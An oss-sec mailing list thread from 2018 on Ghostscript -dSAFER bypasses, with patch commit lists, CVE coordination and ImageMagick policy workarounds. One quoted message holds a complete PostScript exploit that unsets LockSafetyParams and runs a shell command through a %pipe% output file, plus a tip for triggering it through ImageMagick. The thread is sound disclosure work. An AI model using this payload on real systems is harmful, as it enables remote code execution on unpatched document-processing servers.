oss-sec mailing list archives
Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default?
From: Brandon Perry <bperry.volatile () gmail com>
Date: Tue, 4 Sep 2018 15:02:22 -0500
On Sep 4, 2018, at 2:59 PM, Tavis Ormandy <taviso () google com> wrote: OK, well, the fixes missed 9.24 so vendors will have to either ship patches once they land or wait for 9.25. $ ./gs -v GPL Ghostscript 9.24 (2018-09-03) Copyright (C) 2018 Artifex Software, Inc. All rights reserved. $ ./gs -q -dSAFER -sDEVICE=ppmraw -f testcase.ps uid=1000(taviso) gid=1000(taviso) Let me know if anyone wants that testcase.
Hey Tavis, could I have a copy of the test case please? Thanks so much.
Tavis. On Tue, Sep 4, 2018 at 11:47 AM Tavis Ormandy <taviso () google com> wrote:Thanks Marcus. FWIW, over the weekend upstream fixed all of the bugs I had opened. Just looking this morning and I can see one or two of the fixes were incomplete, I'll file new bugs and hopefully new fixes make it into 9.24 release. (I'm only fuzzing with sort -R < postscript_commands.txt | gs -dSAFER, so totally possible we'll have to do this again soon) Tavis. (p.s. I'm not exaggerating about the sort -R, that's literally how I'm fuzzing it) On Mon, Sep 3, 2018 at 3:59 AM Marcus Meissner <meissner () suse de> wrote:Hi, I am still holding back CVE requesting as CERT promised to do this. If they do not reply with a plan until tomorrow I will proceed with requesting. Ciao, Marcus On Wed, Aug 29, 2018 at 01:43:22PM -0700, Tavis Ormandy wrote:I should note, just add `userdict /setpagedevice undef` at the top ifyouwant to test it with ImageMagick. Tavis. On Wed, Aug 29, 2018 at 1:14 PM Tavis Ormandy <taviso () google com>wrote:Thanks Marcus, here are some more necessary commits:http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=520bb0ea7519aa3e79db78aaf0589dae02103764# 699654 D /invalidaccess checks stop working after a failed restorehttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=5b5536fa88a9e885032bc0df3852c3439399a5c0# 699670 gssetresolution memory corruptionhttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=ea735ba37dc0fd5f5622d031830b9a559dec1cc9# 699671 handling /undefined results in SEGVhttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=ea735ba37dc0fd5f5622d031830b9a559dec1cc9# 699676 PDF interpreter can leave dangerous operators available Please note that not all issues are resolved, and I have exploits that still work against HEAD. For example, this will still work if you pull master as of thiswriting:$ cat testcase.pdf %!PS % This is ghostscript bug #699687 (split out from bug #699654) a0 % just select a papersize to initialize page device % You can't def HWResolution (for example), because currentpagedeviceisreadonly: % % GS>currentpagedevice wcheck == % false % % But you can just put or astore into it, because the array itself is writable: % GS>currentpagedevice /HWResolution get wcheck == % true % % If you put some junk in there, then grestore stops working. currentpagedevice /HWResolution get 0 (foobar) put % this grestore will fail, `stopped` just handles the error instead of aborting. { grestore } stopped {} if % now LockSafetyParams will be incorrectly unset, you can check likethis:% GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParamsget== pop % false % we can change and configure devices now, so make sure we're usingonewith % a OutputFile property. (ppmraw) selectdevice % run a shell command mark /OutputFile (%pipe%id) currentdevice putdeviceprops showpage $ evince testcase.pdf uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 (libspectre) ghostscript reports: ioerror -12 Tavis. On Tue, Aug 28, 2018 at 2:26 AM Marcus Meissner <meissner () suse de>wrote:Hi, I had 4 CVEs assigned yesterday afternoon already working from CERTslist,see inline comments below. Please adjust if something is incorrect in them. CERT has mailed overnight that they will take care of the CVEassignment,so I am defering the rest to them. Ciao, Marcus On Mon, Aug 27, 2018 at 04:02:46PM -0700, Tavis Ormandy wrote:Here is an update, Artifex made a press release <https://www.darkreading.com/prnewswire2.asp?rkey=20180824UN89145&filter=3930listing some necessary commits, but the list was incomplete. Here is a list of relevant commits I'm aware of so far, someissues arestill open with working exploits available. It's my understandingthatnonew release is planned until late September, and vendors need toeithership a git snapshot when all issues are resolved, or applypatches. Ihavetestcases for each problem, but I think the bugs will be visibleeventuallyso I'm not posting them here.http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=ea735ba37dc0fd5f5622d031830b9a559dec1cc9# 699671 handling /undefined results in SEGVhttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=0edd3d6c63# 699659 missing type check in ztypehttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=78911a01b6 #699654 A /invalidaccess checks stop working after a failed restorehttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=5516c614dc33#699654 B /invalidaccess checks stop working after a failed restorehttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=79cccf641486#699654 C /invalidaccess checks stop working after a failed restore http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=b326a716#699655- missing type checking in setcolor http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=c3476dde#699656- LockDistillerParams boolean missing type checkshttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a054156d42CVE-2018-15910# 699658 - Bypassing PermitFileReading by handlingundefinedfilenameerrorshttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=0b6cd1918e1ec4ffd087400a754a845180a4522b# 699660 - shading_param incomplete type checkinghttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=e01e77a36cbb2e0277bc3a63852244bec41be0f6# 699660 - shading_param incomplete type checkingCVE-2018-15909http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=c432131c3f# 699661 - pdf14 garbage collection memory corruptionhttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=971472c83a345a16dac9f90f91258bb22dd77f22# 699663 - .setdistillerkeys memory corruptionhttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=241d911127# 699664 - corrupt device object after error in jobhttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=0d3901189f# 699657 - .tempfile SAFER restrictions seem to be brokenCVE-2018-15908http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=8e9ce5016db968b40e4ec255a3005f2786cce45f# 699665 - memory corruption in aesdecodehttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=b575e1ec42CVE-2018-15911# 699668 - .definemodifiedfont memory corruption if /typecheck ishandledTavis On Thu, Aug 23, 2018 at 8:05 AM Bob Friesenhahn < bfriesen () simple dallas tx us> wrote:On Thu, 23 Aug 2018, Leonardo Taccari wrote:(Regarding the `file.ps2' and `file.ps3' examples without`PS2:' or`PS3:' prefixes according `convert -debug Policy -log "%e"' itseemsthat they ends up as: Domain: Coder; rights=Read; pattern="PS" ... ...so should be blocked by the workaround described in VU#332928. But please correct me if I'm wrong.)This is likely due to header magic detection (e.g."%!PS-Adobe"). Itis possible that a different path will be taken if the common Postscript header is not detected. The file extension may thenbeused as a hint. Also, there are a wide varieties of ImageMagick versions in use, with a wide variety of behaviors. The version of ImageMagick provided by the Ubuntu Linux I amusing atthis moment dates from 2012! Bob -- Bob Friesenhahn bfriesen () simple dallas tx us,http://www.simplesystems.org/users/bfriesen/GraphicsMagick Maintainer, http://www.GraphicsMagick.org/-- Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409Nuernberg; Zi.3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real < meissner () suse de>-- Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real < meissner () suse de>
Attachment:
signature.asc
Description: Message signed with OpenPGP
Current thread:
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default?, (continued)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Leonardo Taccari (Aug 23)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Bob Friesenhahn (Aug 23)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Aug 27)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Perry E. Metzger (Aug 27)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Marcus Meissner (Aug 28)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Aug 29)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Aug 29)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Marcus Meissner (Sep 03)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Sep 04)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Sep 04)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Brandon Perry (Sep 04)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Sep 04)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Sep 05)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Perry E. Metzger (Sep 05)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Stuart Gathman (Sep 05)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Perry E. Metzger (Sep 05)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Leonid Isaev (Sep 06)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Jakub Wilk (Sep 06)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Leonid Isaev (Sep 06)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Sep 09)
- Message not available
- Re: Ghostscript 9.24 issues Tavis Ormandy (Sep 09)